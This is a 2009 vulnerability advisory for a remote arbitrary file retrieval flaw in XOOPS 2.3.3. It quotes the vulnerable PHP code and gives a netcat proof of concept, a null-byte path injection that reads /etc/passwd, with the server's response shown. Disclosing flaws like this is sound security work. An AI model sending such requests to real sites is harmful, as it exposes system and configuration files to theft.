477bcbdcc0
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114 lines
4 KiB
Text
Executable file
114 lines
4 KiB
Text
Executable file
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========================================================================
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XOOPS <= 2.3.3 Remote Arbitrary File Retrieval
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========================================================================
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Affected Software : XOOPS <= 2.3.3
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Author : Luca "daath" De Fulgentis - daath[at]nibblesec[dot]org
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Advisory number : NS-2009-01
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Advisory URL : http://blog.nibblesec.org/advisories/NS-2009-01.txt
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Severity : Low/Medium
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Local/Remote : Remote
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[Summary]
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XOOPS is a web application platform written in PHP for the MySQL database.
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Its object orientation makes it an ideal tool for developing small or large
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community websites, intra company and corporate portals, weblogs and much
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more. (Reference : http://www.xoops.org).
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Nibble Security discovered a remote arbitrary file retrieval in XOOPS version
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2.3.3, which could be exploited to read system or XOOPS configuration files
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("mainfile.php").
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[Vulnerability Details]
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A vulnerable read_file() function can be found in "module_icon.php" under
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/xoops_lib/modules/protector/. Here an image icon is read and its full
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pathname is constructed using a user-controllable variable called
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"$mydirpath" :
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=============================================================================
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[...]
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if( file_exists( $mydirpath.'/module_icon.png' ) ) {
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$use_custom_icon = true ;
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$icon_fullpath = $mydirpath.'/module_icon.png' ;
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} else {
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$use_custom_icon = false ;
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$icon_fullpath = dirname(__FILE__).'/module_icon.png' ;
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}
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[...]
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} else {
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readfile( $icon_fullpath ) ;
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}
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?>
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=============================================================================
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If register_globals is enabled and magic_quotes_gpc disabled, it's possible
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to control the "$mydirpath" variable content and inject an arbitrary filename
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(followed by a NULL byte (%00) to make file_exists() function ignore the
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following "/module_icon.png"), resulting in file content inclusion in
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application response.
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[Proof of Concept Exploit]
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Some browsers (e.g. Mozilla Firefox) may refuse broken images (such as the
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one generated by the vulnerable script). Bacause of this netcat/telnet can be
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easily used to exploit this vulnerability :
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daath@shaytan:~$ echo -e "GET /xoops_lib/modules/protector/module_icon.php?
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mydirpath=/etc/passwd%00 HTTP/1.0\n\n" | nc 127.0.0.1 80
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HTTP/1.1 200 OK
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Date: Mon, 16 Mar 2009 19:07:03 GMT
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Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch
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X-Powered-By: PHP/5.2.6-2ubuntu4.1
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Expires: Mon, 16 Mar 2009 21:00:00 +0100
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Cache-Control: public, max-age=3600
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Last-Modified: Mon, 16 Mar 2009 20:00:00 +0100
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Content-Length: 1661
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Connection: close
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Content-Type: image/png
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root:x:0:0:root:/root:/bin/bash
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daemon:x:1:1:daemon:/usr/sbin:/bin/sh
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bin:x:2:2:bin:/bin:/bin/sh
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[...]
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daath@shaytan:~$
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[Time Table]
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17/03/2009 - Vendor notified.
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17/03/2009 - Vendor response.
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28/05/2009 - Vendor re-contacted (no answer).
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16/06/2009 - Public disclosure.
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[Legal Notices]
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The information in the advisory is believed to be accurate at the
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time of publishing based on currently available information.
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This information is provided as-is, as a free service to the community.
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There are no warranties with regard to this information.
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The author does not accept any liability for any direct,
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indirect, or consequential loss or damage arising from use of,
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or reliance on, this information.
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Permission is hereby granted for the redistribution of this alert,
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provided that the content is not altered in any way, except
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reformatting, and that due credit is given.
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This vulnerability has been disclosed in accordance with the RFP
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Full-Disclosure Policy v2.0, available at:
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http://www.wiretrip.net/rfp/policy.html
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# Modules directory has an .htaccess file blocking php files from being accessed. Still the possibility is there. /str0ke
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# milw0rm.com [2009-06-16]
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